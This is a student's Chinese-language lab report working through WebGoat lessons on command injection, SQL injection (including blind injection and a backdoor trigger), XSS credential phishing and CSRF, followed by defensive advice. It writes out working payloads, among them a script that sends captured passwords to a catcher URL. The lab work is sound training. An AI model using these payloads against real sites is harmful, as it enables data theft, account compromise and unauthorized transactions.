20175110 王礼博 Exp 9 Web安全基础
1.1 基础知识
SQL注入
- 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
XSS
- 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。
CSRF
- 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
1.2 实验准备
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。
在含有该文件的文件夹那开启命令行,输入
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat运行一段时间之后命令行出现
Starting ProtocolHandler
证明开启成功
由于WebGoat 7使用jdk 1.8编译,所以需要安装jdk 1.8版本;jdk安装过程不再辍述,如果需要,可参考链接。
在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面,用户名密码均为guest,登录后可以看到左侧有一系列课程。
2.1 Command Injection(命令注入)
在左侧菜单栏中选择Injection Flaws->Command Injection
右键点击复选框选择Inspect Element审查网页元素对源代码
<option>
进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"
- 点击网页上的按钮View可以看到网络端口使用情况和IP地址
2.2 Numeric SQL Injection(数字型SQL注入)
在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection
对源代码
<option>
进行修改,将选中的城市编号value="101"
改为value="101 or 1=1"
- 点击页面上的Go!显示所有天气数据
2.3 Log Spoofing(日志欺骗)
在左侧菜单栏中选择Injection Flaws->Log Spoofing
在User Name中填入
webgoat%0d%0aLogin Succeeded for username: 20175110wlb
点击Login可以看到webgoat Login Fail,添加的20175110wlb Login Succeeded
2.4 String SQL Injection(字符串型注入)
在左侧菜单栏中选择Injection Flaws->String SQL Injection
用
‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,可以输入查询的用户名wlb‘ or 1=1--
选择表里面的所有数据
2.5 LAB: SQL Injection
在左侧菜单栏中选择Injection Flaws->LAB: SQL Injection
右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
- 以用户Neville登录,输入密码wlb‘ or ‘1‘ = ‘1
- 攻击成功,得到所有人员列表
2.6 Database Backdoors(数据库后门)
- 输入101,得到该用户的信息
- 输入注入语句
101; update employee set salary=10000
执行两个语句
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘‘WHERE userid = NEW.userid
注入一个充当SQL后门的触发器- BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
- FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
2.7 Blind Numeric SQL Injection(数字型盲注入)
- 输入查询语句
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
- 输入查询语句
101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
- 构造复杂语句
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
- 如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,通过二分法,最终判断出PIN数值
- 得到正确PIN值2364,输入验证,有效。
2.8 Blind String SQL Injection(字符串型盲注入)
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘H‘ );
取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小
- 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘h‘ );
- 最终的都正确PIN字段Jill输入验证
3.1 Phishing with XSS 跨站脚本钓鱼攻击
创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
在页面的搜索框输入如下代码,页面增加一个表单
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
- 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
3.2 存储型XSS攻击(Stored XSS Attacks)
- 在
title
中任意输入字符,留言板中输入<script>alert("Hello guys");</script>
后点击Submit
攻击成功
3.2 反射型XSS攻击(Reflected XSS Attacks)
- 这里要使用Chrome才能弹出警告框,输入代码
<script>alert("You‘ve been attacked!!!^_^");</script>
,点击purchase
的同时页面就给出了反馈
4.1 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 查看页面右侧Parameters中的src和menu值,分别为327和900
- 在
title
中输入任何参数,message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL
放进message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
4.2 绕过 CSRF 确认( CSRF Prompt By‐Pass)
- 查看页面右侧Parameters中的src和menu值分别为330和900
- 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的链接,点击进入后,攻击成功
(1)SQL注入攻击原理,如何防御
原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
预防
- 普通用户与系统管理员用户的权限要有严格的区分。
- 强迫使用参数化语句。
- 加强对用户输入的验证。
- 多多使用SQL Server数据库自带的安全参数。
(2)XSS攻击的原理,如何防御
原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。预防
- 对输入(和URL参数)进行过滤,对输出进行编码。
- 对用户提交的的内容进行可靠的输入验证。
(3)CSRF攻击原理,如何防御
原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
预防
- 通过 referer、token或者验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
最后一次实验在学习平台上完成了,做了一些练习题,收获还是很大的。感觉网络上信息泄露的方式数不胜数,个人很难有精力去防范如此多种多样的攻击方式,网络安全防范势在必行。否则,人人的资料都只是可以随意买卖的商品,如此会造成社会的巨大问题,我现在掌握的知识还只是皮毛,想要在信息安全这条路上走下去,还需要更加艰苦奋斗的精神才可以!